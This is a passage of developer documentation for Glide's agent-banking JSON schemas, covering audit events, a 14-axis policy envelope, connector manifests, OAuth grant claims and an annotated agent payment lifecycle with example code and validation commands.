amountCentsSchema,
chainIdSchema,
currencyCodeSchema,
} from '@glideco/schemas';
// Use directly in your own schema:
const MyPaymentRecord = z.object({
id: uuidSchema,
settledAt: isoDateTimeSchema,
amountCents: amountCentsSchema,
chain: chainIdSchema,
currency: currencyCodeSchema,
});
MyPaymentRecord.parse({
id: '11111111-1111-4111-8111-111111111111',
settledAt: '2026-05-04T12:00:00.000Z',
amountCents: 25000, // $250.00
chain: 'base',
currency: 'USDC',
});
```
## Validation
Primitives in this file are not directly validated in isolation — they are referenced by other schemas. To validate a `$ref` chain against the canonical document:
```bash theme={null}
npx ajv-cli validate \
-s https://glide.co/schemas/agent-banking/v1/agent-activity-event.json \
--ref https://glide.co/schemas/agent-banking/v1/_types.json \
-d ./my-event.json
```
Pass `--ref` for every schema that `$ref`s `_types.json` — AJV resolves `$ref` relative URIs from the `$id` of the referencing document, but some toolchains require explicit pre-loading.
## Common pitfalls
* **Using floats for `amountCents`.** The JSON Schema and Zod source both require `integer`. IEEE-754 floats lose precision above \$90 trillion; passing `250.00` instead of `25000` will fail the integer assertion and also undercount by 100x.
* **Using `+00:00` for `isoDateTimeUtc`.** The `Z` suffix is required. tRPC, MCP, JWT `iat`/`nbf`/`exp`, and Privy all use different serializers — the `Z`-only contract eliminates parser ambiguity at every boundary.
* **Treating `chainId` as a CAIP-2 identifier.** The wire format uses Glide short-ids (`base`, not `eip155:8453`). Use `chainIdToCaip2()` / `caip2ToChainId()` from `@glideco/schemas` at protocol boundaries that speak CAIP-2 (x402, AP2, ACP).
* **Comparing `chainAddress` values without normalizing case.** EVM addresses are case-insensitive (mixed-case is EIP-55 checksum); Solana addresses are case-sensitive base58. Use chain-aware comparison helpers, not raw string equality.
* **Assuming `uuidV4` means strictly v4.** The name is historical; the pattern accepts UUID v1–v8 plus all-zero / all-F sentinels. UUIDv7 (used for time-ordered IDs in newer tables) is valid here.
## Reading list
* [ScopedGrantClaims](/docs/oss/standards/scoped-grant-claims) — heavy consumer of `uuidV4`, `unixSecondsPositive`, and `agentScope`.
* [AgentActivityEvent](/docs/oss/standards/agent-activity-event) — uses `isoDateTimeUtc`, `uuidV4`, and `agentActivityEventKind`.
* [ConnectorManifest](/docs/oss/standards/connector-manifest) — uses `trustTier`, `connectorCapability`, `currencyCode`, `regionCode`.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/apps/web/public/schemas/agent-banking/v1/_types.json)
# AgentActivityEvent (draft)
Source: https://glide-9da73dea.mintlify.app/oss/standards/agent-activity-event
Append-only audit event emitted after every MCP tool call. Consumed by the Trust Console, audit:stream subscribers, and ops dashboards.
Every MCP tool call that completes — whether allowed, denied, or escalated — writes exactly one `AgentActivityEvent` row to `activity_log` (via the agent-platform columns added by migration 0042) via a Postgres trigger (the F4 IRON RULE: no direct INSERT path exists outside the trigger). Operators cannot delete or update rows; the table is append-only by design. The Trust Console tails this table in real time; the `audit:stream` MCP scope surfaces a read-only window of these events — the agent-event projection — to authorized agent runtimes.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/agent-activity-event.json`](https://glide.co/schemas/agent-banking/v1/agent-activity-event.json)
## Required fields
| Field | Type | Notes |
| ----------- | ---------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `eventType` | `string` (1–64 chars) | Free-text event-kind label retained for backward compat with the original `/draft/` placeholder shape. New producers SHOULD also set `eventKind`. If both are present they MUST match. |
| `timestamp` | `isoDateTimeUtc` | When the event occurred (UTC, `Z` suffix required). Server-stamped at the producer — the trigger never trusts a clock value supplied by an agent runtime. |
| `agentId` | `string` (1–128 chars) | `agent_principal_id` of the acting agent. UUIDv4 in production; the looser `string` type keeps backward compat with placeholder draft data and operator-emitted events. |
## Optional fields
| Field | Type | Notes |
| --------------- | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `schemaVersion` | `'v1'` | Locks the event to the v1 schema. Absence is treated as v1 by consumers; a non-`'v1'` value MUST be refused at ingest. |
| `eventKind` | `agentActivityEventKind` | Closed enum (see below). Preferred over `eventType` for new producers. Unknown values drop the event at ingest — don't emit values outside the enum. |
| `eventId` | `uuidV4` | Unique identifier for this event row. Consumers de-duplicate on this. Older streams used the DB row `id`; new producers SHOULD always set it. |
| `principalId` | `uuidV4 \| null` | Human principal whose vault is being acted on. Null for system-emitted events (kill-switch, scheduled jobs). |
| `vaultId` | `uuidV4 \| null` | Vault the action targets. Together with `principalId` forms the RFC 8707 audience binding. Null for system events not tied to a specific vault. |
| `grantId` | `uuidV4 \| null` | JTI of the grant that authorized this action. Null for events not tied to a grant (e.g. operator-initiated kill-switch). |
| `toolCallId` | `uuidV4 \| null` | ID of the MCP tool call this event describes. Null for non-tool-call events (e.g. `consent_granted`). |
| `summary` | `string` (1–280 chars) | Human-readable one-line summary for the Trust Console list row. Plain text, no markdown, no PII unless the principal already has access to it. |
| `extra` | `object` | Open-ended bag for kind-specific fields (risk verdict reason text, anomaly score, etc.). Producers MUST keep this under 4 kB. Consumers MUST treat unknown keys as opaque. Allows event-shape evolution without bumping `schemaVersion`. |
### `eventKind` vocabulary
| Value | When emitted |
| ----------------------- | --------------------------------------------------------------------------- |
| `tool_call` | Any MCP tool completes (allowed or denied). |
| `reasoning_step` | Agent runtime emits a reasoning trace to the Trust Console (opt-in). |
| `risk_verdict` | Policy engine produces a verdict (`allow` / `allow_with_step_up` / `deny`). |
| `anomaly_detected` | `@glideco/anomaly` heuristics fire on a tool call. |
| `consent_prompt` | Step-up auth prompt sent to the principal. |
| `consent_granted` | Principal completed the step-up. |
| `consent_denied` | Principal declined or the prompt timed out. |
| `step_up_required` | Policy engine flipped verdict to `allow_with_step_up`. |
| `step_up_completed` | Step-up sigil consumed; execution proceeds. |
| `policy_violation` | Tool call exceeded a hard cap or counterparty allowlist gate. |
| `grant_issued` | OAuth AS issued a new grant. |
| `grant_revoked` | A grant was revoked (operator or principal action). |
| `kill_switch_triggered` | Forensic kill-switch fired for an agent or vault. |
## Lifecycle
`AgentActivityEvent` rows are written by a Postgres trigger on the `activity_log` table — not by application code. This is the F4 IRON RULE: no direct INSERT path exists, and there is no UPDATE or DELETE path for any consumer.
**When emitted:** on every MCP tool call commit (including denied calls — the row captures the denial). Non-tool-call events (`consent_granted`, `kill_switch_triggered`, etc.) are emitted by the corresponding server-side handlers via the same trigger path.
**Who consumes:**
* **Trust Console UI** — tails the table via a tRPC subscription with per-principal row-level security.
* **`audit:stream` MCP scope** — exposes a read-only window to authorized agent runtimes. Scoped to the calling grant's `vaultId`; cross-vault reads are refused.
* **Ops dashboards** — query `activity_log` directly (read-only DB role), filtering on `agent_principal_id IS NOT NULL`.
**Retention:** the `activity_log` table is append-only with no TTL at v1. Row-level security ensures each principal can only read their own events. Future versions may introduce archival tiers (see `@glideco/compliance-export`).
## Example
```ts theme={null}
import { z } from 'zod';
// AgentActivityEvent is the JSON Schema shape; in TypeScript use the
// @glideco/schemas package for runtime validation.
const AgentActivityEvent = z.object({
schemaVersion: z.literal('v1').optional(),
eventType: z.string().min(1).max(64),
eventKind: z.enum([
'tool_call', 'reasoning_step', 'risk_verdict', 'anomaly_detected',
'consent_prompt', 'consent_granted', 'consent_denied',
'step_up_required', 'step_up_completed', 'policy_violation',
'grant_issued', 'grant_revoked', 'kill_switch_triggered',
]).optional(),
eventId: z.string().uuid().optional(),
timestamp: z.string().datetime(),
agentId: z.string().min(1).max(128),
principalId: z.string().uuid().nullable().optional(),
vaultId: z.string().uuid().nullable().optional(),
grantId: z.string().uuid().nullable().optional(),
toolCallId: z.string().uuid().nullable().optional(),
summary: z.string().min(1).max(280).optional(),
extra: z.record(z.unknown()).default({}),
});
const event = AgentActivityEvent.parse({
schemaVersion: 'v1',
eventType: 'tool_call',
eventKind: 'tool_call',
eventId: '11111111-1111-4111-8111-111111111111',
timestamp: '2026-05-04T12:00:00.000Z',
agentId: '22222222-2222-4222-8222-222222222222',
principalId: '33333333-3333-4333-8333-333333333333',
vaultId: '44444444-4444-4444-8444-444444444444',
grantId: '55555555-5555-4555-8555-555555555555',
toolCallId: '66666666-6666-4666-8666-666666666666',
summary: 'Initiated $250.00 USDC payment via payments.initiate',
extra: { risk_verdict: 'allow', rail: 'usdc-base' },
});
```
## Validation
The event is validated three ways:
1. **At write time** by the Postgres trigger — the trigger schema-checks required fields before inserting. Events that fail the check are rejected; the calling transaction rolls back.
2. **At build time** via `scripts/validate-manifests.mjs`:
```bash theme={null}
pnpm --filter '@glideco/schemas' validate-events
```
3. **Against the published JSON Schema** for consumer-side validation:
```bash theme={null}
npx ajv-cli validate \
-s https://glide.co/schemas/agent-banking/v1/agent-activity-event.json \
-d ./my-event.json
```
## Common pitfalls
* **Setting `eventKind` but not `eventType`.** The schema marks `eventType` as required for backward compat. Both fields must be set and must match.
* **Omitting `eventId` on new producers.** Consumers de-duplicate on `eventId`. Without it, retried deliveries create duplicate Trust Console rows.
* **Passing a non-UTC `timestamp`.** The `isoDateTimeUtc` type requires the `Z` suffix. `+00:00` offset strings fail schema validation and are rejected at ingest.
* **Emitting an `eventKind` value outside the closed enum.** Unknown values are dropped at ingest without error. The enum is CODEOWNERS-protected — new values require a schema migration.
* **Storing PII in `summary`.** The `summary` field renders in the Trust Console list row, which may be visible to support staff. Keep it to action + amount + rail — no email addresses, phone numbers, or wallet addresses.
## Reading list
* [AgentPolicyEnvelope](/docs/oss/standards/agent-policy-envelope) — the envelope that produced the `risk_verdict` captured in `extra`.
* [Receipt](/docs/oss/standards/receipt) — the companion write-side record for money-touching calls.
* [Grant](/docs/oss/standards/grant) — the `grantId` / `jti` this event references.
* [Money-safety contracts](/docs/oss/concepts/money-safety-contracts) — F4 IRON RULE that makes this table append-only.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/apps/web/public/schemas/agent-banking/v1/agent-activity-event.json)
# AgentPolicyEnvelope (draft)
Source: https://glide-9da73dea.mintlify.app/oss/standards/agent-policy-envelope
14-axis policy envelope evaluated by @glideco/policy-engine on every agent tool call.
The policy envelope is the multisig-governed permission boundary every agent operates inside. Issued at install time, attached to every grant JWT, evaluated server-side on every tool invocation.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/agent-policy-envelope.json`](https://glide.co/schemas/agent-banking/v1/agent-policy-envelope.json)
## 14 axes
The envelope captures three categories of constraint:
### Amount ceilings (3 axes)
| Axis | Meaning |
| ------------- | ---------------------------------------------- |
| `per_tx_max` | Hard upper bound on a single transaction. |
| `daily_cap` | Cumulative cap on the trailing 24-hour window. |
| `monthly_cap` | Cumulative cap on the trailing 30-day window. |
### Counterparty + chain (4 axes)
| Axis | Meaning |
| ------------------------ | -------------------------------------------------------------------------------------------------------------- |
| `counterparty_allowlist` | Pre-approved beneficiary IDs / wallet addresses. Empty = open allowlist (skill must populate at install time). |
| `counterparty_blocklist` | Explicit denial list (overrides allowlist). |
| `allowed_chains` | EVM chain IDs + Solana mainnet identifier. |
| `allowed_tokens` | Asset symbols + contract addresses. |
### Velocity + time (3 axes)
| Axis | Meaning |
| ------------------ | ------------------------------------------------------------ |
| `velocity_caps` | Sliding-window count cap (e.g. "max 20 transfers per hour"). |
| `time_window` | Allowed wall-clock hours per timezone. |
| `cooldown_minutes` | Minimum gap between transfers to the same counterparty. |
### Approval (3 axes)
| Axis | Meaning |
| ----------------------------------- | ------------------------------------------------------------- |
| `step_up_threshold_usd_cents` | Amount above which step-up biometric approval is required. |
| `pre_broadcast_simulation_required` | Boolean: must `payments:simulate` before `payments:initiate`. |
| `multisig_threshold` | M-of-N for any custodial vault rotation. |
## Branch A' (Privy spike result)
Per the Headless v1 Privy spike (`docs/designs/privy-policy-spike.md`):
* **EVM:** all 14 axes enforce on Privy programmable signing policy NATIVELY. `per_tx_max`, `counterparty_allowlist`, `time_window`, `daily_cap`, `velocity_caps` all native.
* **Solana:** `per_tx_max`, `counterparty_allowlist`, `time_window` enforce natively. Stateful aggregation (`daily_cap`, `velocity_caps`) lives in the router Redis layer.
The `@glideco/policy-engine` is chain-agnostic — `evaluate()` is pure-function and returns ALLOW/DENY with reason codes. The caller (Privy native or router Redis) chooses where to enforce.
## Example
```json theme={null}
{
"per_tx_max": { "amount_usd_cents": 250000, "asset": "USDC" },
"daily_cap": { "amount_usd_cents": 1000000 },
"counterparty_allowlist": [
{ "kind": "evm_address", "value": "0xabc..." },
{ "kind": "evm_address", "value": "0xdef..." }
],
"velocity_caps": [
{ "window_minutes": 60, "max_count": 20 }
],
"step_up_threshold_usd_cents": 50000,
"policy_version": 1
}
```
## `policy_version`
Every envelope carries a monotonic `policy_version` counter. Mid-flight policy changes (signer rotation, tier change) advance it; in-flight tool calls compare against current and raise `PolicyStaleError` on mismatch (F5 IRON RULE).
## Relation to skill policy templates
`SkillManifest` ships a `policyTemplate` that's a strict subset of `AgentPolicyEnvelope`. Skills only specify the axes that make sense for their flow (e.g. an x402 skill specifies per\_call + daily\_cap; an AP skill specifies per\_tx\_max + counterparty\_allowlist + daily\_cap).
The principal can tighten any axis at install time. Loosening above the package default requires editing the policy template + a fresh install.
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F5 (atomic policy\_version on signer rotation).
* [SkillManifest](/oss/standards/skill-manifest) — how skills consume the envelope.
* [Authoring a skill](/oss/skills/authoring) — 4-tier policy preset pattern.
# ConnectorManifest (draft)
Source: https://glide-9da73dea.mintlify.app/oss/standards/connector-manifest
Schema for vendor connector packages at packages/connectors//. Defines capabilities, regions, currencies, egress hosts, compliance disclosures.
The OSS connector manifest. Every package at `packages/connectors//` ships one of these as `src/manifest.ts`.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/connector-manifest.json`](https://glide.co/schemas/agent-banking/v1/connector-manifest.json)
## Required fields
| Field | Type | Notes |
| -------------------------- | ---------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `schemaVersion` | `'v1'` | Locks the manifest to v1 even while the doc is in `/draft/` channel. |
| `slug` | `string` (lowercase kebab-case) | Becomes the package directory name. |
| `displayName` | `string` | Human-readable name. |
| `vendor` | `string` | The vendor's identifier. May differ from slug. |
| `trust` | `'community' \| 'verified' \| 'core'` | Quality-based trust tier. |
| `capabilities` | `Capability[]` | Array of declared capabilities (orchestration, kyc, card, screening, chain-receipt, balance, auth, banking, qr-gateway, oauth-authorization-server, attestation, merkle-anchor, timelock-module, recovery). |
| `regions` | `string[]` | ISO 3166-1 alpha-2 codes; or `*` for global. |
| `currencies` | `string[]` | ISO 4217 codes + crypto symbols. |
| `egressHosts` | `string[]` | Every host the connector touches at runtime. Enforced by the egress-host lint CI gate. |
| `compliance.jurisdictions` | `string[]` | Where the vendor is licensed. |
| `compliance.licenses` | `string[]` | Human-readable license names ("FinCEN MSB", "BitLicense", etc.). |
| `compliance.dataResidency` | `string[]` | Regions where the vendor stores customer PII. |
| `compliance.amlPosture` | `'vendor-screened' \| 'pass-through' \| 'unscreened'` (optional) | The connector's AML posture. |
| `packageVersion` | `string` | Semver of the package. |
| `iconPath` | `string` (defaults `./icon.svg`) | Relative path to the package's icon. |
| `isMock` | `boolean` (defaults `false`) | `true` for mock/fixture connectors. |
| `homepage` | `string` (URL, optional) | Vendor or package homepage. |
| `changelogUrl` | `string` (URL, optional) | Where to read changelog entries. |
## Example
```ts theme={null}
import { ConnectorManifest } from '@repo/connectors-base';
export const manifest = ConnectorManifest.parse({
schemaVersion: 'v1',
slug: 'my-vendor',
displayName: 'My Vendor',
vendor: 'my-vendor',
trust: 'core',
capabilities: ['orchestration', 'kyc'],
regions: ['US', 'EU', 'GB'],
currencies: ['USD', 'EUR', 'GBP', 'USDC'],
egressHosts: ['api.my-vendor.com'],
compliance: {
jurisdictions: ['US', 'EU', 'GB'],
licenses: ['My Vendor MSB'],
dataResidency: ['US', 'EU'],
amlPosture: 'vendor-screened',
},
packageVersion: '0.1.0',
});
```
## Validating against the schema
The manifest is validated three ways:
1. **At build time** by Zod via `ConnectorManifest.parse(manifest)`.
2. **At PR time** by `scripts/validate-manifests.mjs` (the connector-skill-ci CI gate).
3. **At publish time** by the standards-implementer using the JSON Schema document directly:
```bash theme={null}
npx ajv-cli validate \
-s https://glide.co/schemas/agent-banking/v1/connector-manifest.json \
-d ./my-manifest.json
```
## Relation to capability interfaces
The `capabilities` array is the **declaration**; the actual TypeScript implementation lives at `packages/connectors/_base/src/capabilities/.ts`. The contract test suite (extending `ContractTestSuite` from `@repo/connectors-base`) asserts that each declared capability has a runtime implementation.
## Reading list
* [Adding a connector](/oss/connectors/extending) — partner-PR flow.
* [License compatibility](/oss/security/license-compatibility) — what dependencies the manifest's package.json can pull.
# Grant (draft)
Source: https://glide-9da73dea.mintlify.app/oss/standards/grant
OAuth bearer grant JWT claims. RFC 8707 resource-indicator-bound; max TTL 60min.
The bearer grant agent runtimes carry on every MCP tool call. Issued by the OAuth Authorization Server (Ory Hydra in production; HMAC-SHA256 in development). Verified by `@glideco/grant-wrapper` on every tool invocation per the F3 IRON RULE.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/grant.json`](https://glide.co/schemas/agent-banking/v1/grant.json) (alias of `scoped-grant-claims`).
## Required claims
| Claim | Type | Meaning |
| ---------------- | -------------------------- | ------------------------------------------------------------ |
| `sub` | `string` | Principal user ID (the human). |
| `act.sub` | `string` | Agent principal ID (the acting agent). |
| `azp` | `string` | Authorized party — the registered MCP `client_id`. |
| `aud.vault_id` | `string` | Scoped resource vault (RFC 8707 resource indicator). |
| `aud.entity_id` | `string` | Scoped resource entity. |
| `scope` | `string` (space-separated) | Closed-vocab `SkillScope` set. |
| `policy_version` | `number` | Envelope version at grant issue time. F5 mismatch detection. |
| `iat` | `number` | Issued at (epoch seconds). |
| `nbf` | `number` | Not before (epoch seconds). |
| `exp` | `number` | Expiry (epoch seconds). **Max TTL: 3600 (60 minutes).** |
| `jti` | `string` | Server-side grant ID for revocation. |
## Validation contract
`@glideco/grant-wrapper` re-validates every grant on every tool invocation:
1. **JWT signature** — verified against the AS's JWKS.
2. **`exp` not in past** — bearer expiry.
3. **`exp - iat ≤ 3600`** — max TTL enforcement.
4. **`aud.vault_id` present + matches the resource indicator on the request** — RFC 8707 enforcement.
5. **`act.sub` corresponds to a registered agent** — DB lookup.
6. **F3 IRON RULE — fresh-read tenant verification.** Re-reads the principal's tenant from DB. Cached grant alone NEVER authorizes.
7. **`policy_version` matches the current envelope** — mismatch raises `PolicyStaleError` (F5).
## Step-up extension
When the requested tool action exceeds the envelope's `step_up_threshold_usd_cents`, the gateway returns JSON-RPC `-32003` with a `step_up_url`. The principal completes biometric approval; the gateway issues a `step_up_sigil` (single-use, F7); the agent retries with the sigil.
## Example
```json theme={null}
{
"iss": "https://auth.glide.example.com",
"sub": "user_01H7...",
"act": { "sub": "agent_01H8..." },
"azp": "client_01H9...",
"aud": {
"vault_id": "vault_01HA...",
"entity_id": "entity_01HB..."
},
"scope": "accounts:read payments:initiate audit:stream",
"policy_version": 7,
"iat": 1730000000,
"nbf": 1730000000,
"exp": 1730003600,
"jti": "grant_01HC..."
}
```
## Reading list
* [OAuth flow](/oss/headless/oauth-flow) — RFC 7591 + 8707 + PKCE walkthrough.
* [AgentPolicyEnvelope](/oss/standards/agent-policy-envelope) — what `policy_version` references.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F3 + F5.
# Public schemas (v1)
Source: https://glide-9da73dea.mintlify.app/oss/standards/index
JSON Schema documents for Glide's agent-banking standards. Promoted to /v1/ on 2026-04-26 after independent adversarial review.
Glide ships nine JSON Schema documents at the public standards URL [`glide.co/schemas/agent-banking/v1/`](https://glide.co/schemas/agent-banking/v1/). Each schema is generated from the corresponding Zod schema in `@glideco/schemas` (or `@repo/connectors-base` / `@glideco/skills-base`) and hand-curated for partner readability. The companion [Lifecycle](/docs/oss/standards/lifecycle) page traces one agent payment through every schema in the set, with a Mermaid sequence diagram and per-step instances.
**Promoted to `/v1/` on 2026-04-26.** The schemas were locked after an independent Opus adversarial review hunted for design mistakes across 10 axes × 8 schemas (no individual cell scored below 9/10). The full delta + score matrix is committed in the release PR. The `/draft/` paths remain reachable as a deprecated alias for any consumer that pinned a `/draft/` URL — they mirror `/v1/` exactly and will not receive new features.
## Schemas
The OSS connector manifest. Every package at `packages/connectors//` ships one.
The 14-axis policy envelope evaluated by `@glideco/policy-engine` on every agent tool call.
The OSS agent-skill manifest. Every package at `packages/skills//` ships one.
OAuth bearer grant JWT claims. RFC 8707 resource-indicator-bound; max TTL 60min.
Tool-call receipt persisted in `activity_log` after a money-touching MCP call settles.
Quality-based trust tier for connectors + skills. Community / verified / core.
Plus three supporting schemas:
* **`AgentActivityEvent`** — Trust Console event taxonomy. Closed `eventKind` enum + open `extra` bag for kind-specific fields. Walkthrough at [`/docs/oss/standards/agent-activity-event`](/docs/oss/standards/agent-activity-event); raw schema at [`/v1/agent-activity-event.json`](https://glide.co/schemas/agent-banking/v1/agent-activity-event.json).
* **`ScopedGrantClaims`** — JWT claims emitted by the OAuth AS. RFC 8707 resource-indicator-bound; tighter than the application-level `Grant`. Walkthrough at [`/docs/oss/standards/scoped-grant-claims`](/docs/oss/standards/scoped-grant-claims); raw schema at [`/v1/scoped-grant-claims.json`](https://glide.co/schemas/agent-banking/v1/scoped-grant-claims.json).
* **`_types.json`** — Shared `$defs` (`uuidV4`, `isoDateTimeUtc`, `chainId`, `currencyCode`, `agentScope`, `riskVerdict`, `trustTier`, etc.) referenced via `$ref` by every other schema. Walkthrough at [`/docs/oss/standards/_types`](/docs/oss/standards/_types); raw schema at [`/v1/_types.json`](https://glide.co/schemas/agent-banking/v1/_types.json).
## Versioning contract
* **`/v1/`** — current canonical channel. **Locked.** Breaking changes require `/v2/` with both versions live + a public deprecation window of at least 6 months.
* **`/v1.1/`** — additive-only updates within v1 are permitted in-place (new optional fields, new closed-enum values for forward-compatible enums). Existing `/v1/` consumers MUST continue to validate against any `/v1.1/+` document.
* **`/draft/`** — deprecated alias retained for backward compatibility. Mirrors `/v1/` exactly. Will not receive new features.
The `/v1/` path is reserved permanently. Any schema-breaking change post-v1 becomes a migration cost for every integrator — that's the deliberate cost of the lock.
## Adversarial review (the de-risk)
Before promotion, an independent Opus-powered review agent scored each schema 0–10 across 10 axes:
| Axis | What it checks |
| -------------------------- | ------------------------------------------------------------------------------------------------ |
| Type tightness | Malformed objects can't pass parse; unions discriminated; enums closed; formats checked. |
| Required-field coverage | No omit-and-bypass attacks. |
| Forward compatibility | Extension points where appropriate; closed enums where safety demands. |
| Backward compatibility | Existing `/draft/` consumers continue to validate. |
| Privacy / PII | No leaks of email, name, government ID; intentional exposures called out. |
| Money safety | `AgentPolicyEnvelope` / `Grant` / `Receipt` resist degenerate-input attacks. |
| Standards alignment | RFC 7519 (JWT), RFC 6749 (OAuth), RFC 8707 (resource indicators), MCP spec, JSON Schema 2020-12. |
| Cross-schema consistency | Shared types extracted to `_types.json` with `$ref` references. |
| Documentation completeness | Every field has a description an integrator can build to. |
| Closed-vocab integrity | Closed enums match the Zod source — no drift. |
Pass criterion: every (schema × axis) cell ≥ 9/10. Result: passed. Aggregate 93.25% (the 9s on forward-compat are principled — adding open `extra` bags everywhere would compromise type safety). 63 unit tests + 56 hand-rolled hostile-input tests + 5 backward-compat tests all green post-promotion.
## Citing schemas
Each schema has a canonical `$id`:
```json theme={null}
{
"$id": "https://glide.co/schemas/agent-banking/v1/connector-manifest.json",
"$schema": "https://json-schema.org/draft/2020-12/schema",
"channel": "v1"
}
```
Cite by `$id` in your own integration docs. The URL resolves to a real document.
## Generating + publishing
Schemas are generated from the Zod source via:
```bash theme={null}
pnpm --filter '@glideco/schemas' build-schemas
# emits dist/schemas/draft/*.json (auto-generated)
```
The hand-curated public copies under `apps/web/public/schemas/agent-banking/{draft,v1}/` carry richer descriptions, `$ref` to `_types.json`, and partner-friendly examples beyond what `z.toJSONSchema()` emits. The build script warns on structural drift between Zod and the public copy without overwriting it.
## Standards governance
The `PUBLISHED_SCHEMA_NAMES` vocabulary (the closed set of names published as standards) is CODEOWNERS-protected. Adding a new standard schema is a public-API change requiring maintainer sign-off + a backward-compatibility review.
# Agent payment lifecycle
Source: https://glide-9da73dea.mintlify.app/oss/standards/lifecycle
Annotated flow tracing one agent payment from policy envelope to audit row. Shows the schema instance at each step.
This page traces the full lifecycle of a single agent-initiated payment: from the operator publishing a policy through to the audit row that proves it happened. Each arrow in the diagram below names the actor and the action; each step below the diagram shows the schema instance on the wire at that moment.
## Sequence diagram
```mermaid theme={null}
sequenceDiagram
participant Operator
participant OAuthAS as OAuth AS (Ory Hydra)
participant Agent
participant MCPServer as MCP Server
participant PolicyEngine as @glideco/policy-engine
participant DB as Postgres
Operator->>DB: Publish AgentPolicyEnvelope (policy_version bumped)
Agent->>OAuthAS: client_credentials grant request
(client_id, resource indicator, requested scope)
OAuthAS->>DB: Verify agent principal + check policy_version
OAuthAS-->>Agent: ScopedGrantClaims (signed JWT)
Agent->>MCPServer: MCP tool call
(Bearer: , toolName, params)
MCPServer->>MCPServer: @glideco/grant-wrapper validates JWT
(sig, exp, aud, act.sub, policy_version F3+F5)
MCPServer->>PolicyEngine: evaluate(envelope, toolCall, grantClaims)
PolicyEngine-->>MCPServer: RiskVerdict (allow / allow_with_step_up / deny)
MCPServer->>DB: Settle tool call + write Receipt
DB->>DB: F4 trigger writes AgentActivityEvent
to activity_log agent columns (append-only)
MCPServer-->>Agent: Receipt (JSON-RPC result)
```
## Step-by-step schema instances
### Step 1 — operator publishes AgentPolicyEnvelope
The operator configures which vaults an agent can touch, what amounts it can move, which chains and counterparties are allowed, and when the policy is active. Whenever any field changes, `policy_version` increments. All downstream grants and verifications key off this monotonic counter.
```ts theme={null}
import { agentPolicyEnvelopeSchema } from '@glideco/schemas';
const envelope = agentPolicyEnvelopeSchema.parse({
policy_id: '10000000-0000-4000-8000-000000000001',
vault_id: '20000000-0000-4000-8000-000000000002',
policy_version: 7,
// Amount caps
amount_cap_cents_per_tx: 50_000, // $500 per transaction
amount_cap_cents_per_day: 200_000, // $2,000 per rolling 24h
step_up_amount_cents: 25_000, // step-up required above $250
// non-empty allowlist closes the gate; empty allowlist (default) means no counterparty restriction
counterparty_allowlist: [
{ address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045', chain: 'base', token: 'USDC' },
],
chain_allowlist: ['base', 'eth'],
geo_allowlist: ['US', 'GB', 'DE'],
mcc_allowlist: [],
mcc_blocklist: ['7995'], // gambling blocked
created_at: '2026-05-01T00:00:00.000Z',
updated_at: '2026-05-04T09:00:00.000Z',
});
```
### Step 2 — agent requests a grant from the OAuth AS
The agent authenticates using `client_credentials` (server-to-server) or an authorization-code flow (user-delegated). It specifies the vault it wants to access via an RFC 8707 resource indicator and requests the minimum scope set needed.
```
POST https://auth.glide.co/oauth2/token
Content-Type: application/x-www-form-urlencoded
grant_type=client_credentials
&client_id=ap-agent-acme-prod
&client_secret=
&resource=https://api.glide.co/vaults/20000000-0000-4000-8000-000000000002
&scope=payments:initiate+accounts:read
```
The AS verifies that `ap-agent-acme-prod` is a registered principal for this vault, reads the current `policy_version`, and signs the JWT.
### Step 3 — OAuth AS issues ScopedGrantClaims (JWT)
```ts theme={null}
import { grantClaimsSchema } from '@glideco/schemas';
const claims = grantClaimsSchema.parse({
iss: 'https://auth.glide.co',
sub: '30000000-0000-4000-8000-000000000003', // human principal
act: { sub: '40000000-0000-4000-8000-000000000004' }, // agent principal
azp: 'ap-agent-acme-prod',
aud: {
vault_id: '20000000-0000-4000-8000-000000000002',
entity_id: '50000000-0000-4000-8000-000000000005',
},
scope: ['accounts:read', 'payments:initiate'],
policy_version: 7,
iat: 1746355200,
nbf: 1746355200,
exp: 1746358800, // iat + 3600 (60-min cap)
jti: '60000000-0000-4000-8000-000000000006',
});
```
The JWT is returned as an opaque Bearer token. The agent stores it in memory; it is never written to disk or logged.
### Step 4 — agent makes an MCP tool call
```
POST https://mcp.glide.co/mcp
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "payments.initiate",
"arguments": {
"toAddress": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC",
"amountCents": 10000
}
},
"id": "call-01"
}
```
### Step 5 — MCP server validates the grant
`@glideco/grant-wrapper` runs seven checks in order (see [ScopedGrantClaims — Validation contract](/docs/oss/standards/scoped-grant-claims#validation-contract)) before the tool handler runs. If any check fails, the tool call returns JSON-RPC error `-32001` (auth failure) or `-32003` (step-up required) without touching the policy engine or the DB.
### Step 6 — policy engine evaluates the envelope
`@glideco/policy-engine` receives the current envelope (fetched fresh from DB and cached by `(vault_id, policy_version)`) plus the tool call parameters. It evaluates every configured axis in deterministic order and returns one of three verdicts:
| Verdict | Meaning |
| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `allow` | All caps satisfied; proceed. |
| `allow_with_step_up` | Amount exceeds `step_up_amount_cents`; principal must complete biometric step-up before the tool can execute. The gateway returns JSON-RPC `-32003` with a `step_up_url`. |
| `deny` | Hard cap exceeded, counterparty not on allowlist, geo blocked, or MCC blocked. Call rejected. |
Denied calls do not produce a `Receipt` — only an `AgentActivityEvent` with `eventKind: 'risk_verdict'` and `eventKind: 'policy_violation'`.
### Step 7 — receipt written after settlement
```ts theme={null}
import { receiptSchema } from '@glideco/schemas';
const receipt = receiptSchema.parse({
receipt_id: '70000000-0000-4000-8000-000000000007',
principal_id: '30000000-0000-4000-8000-000000000003',
agent_principal_id: '40000000-0000-4000-8000-000000000004',
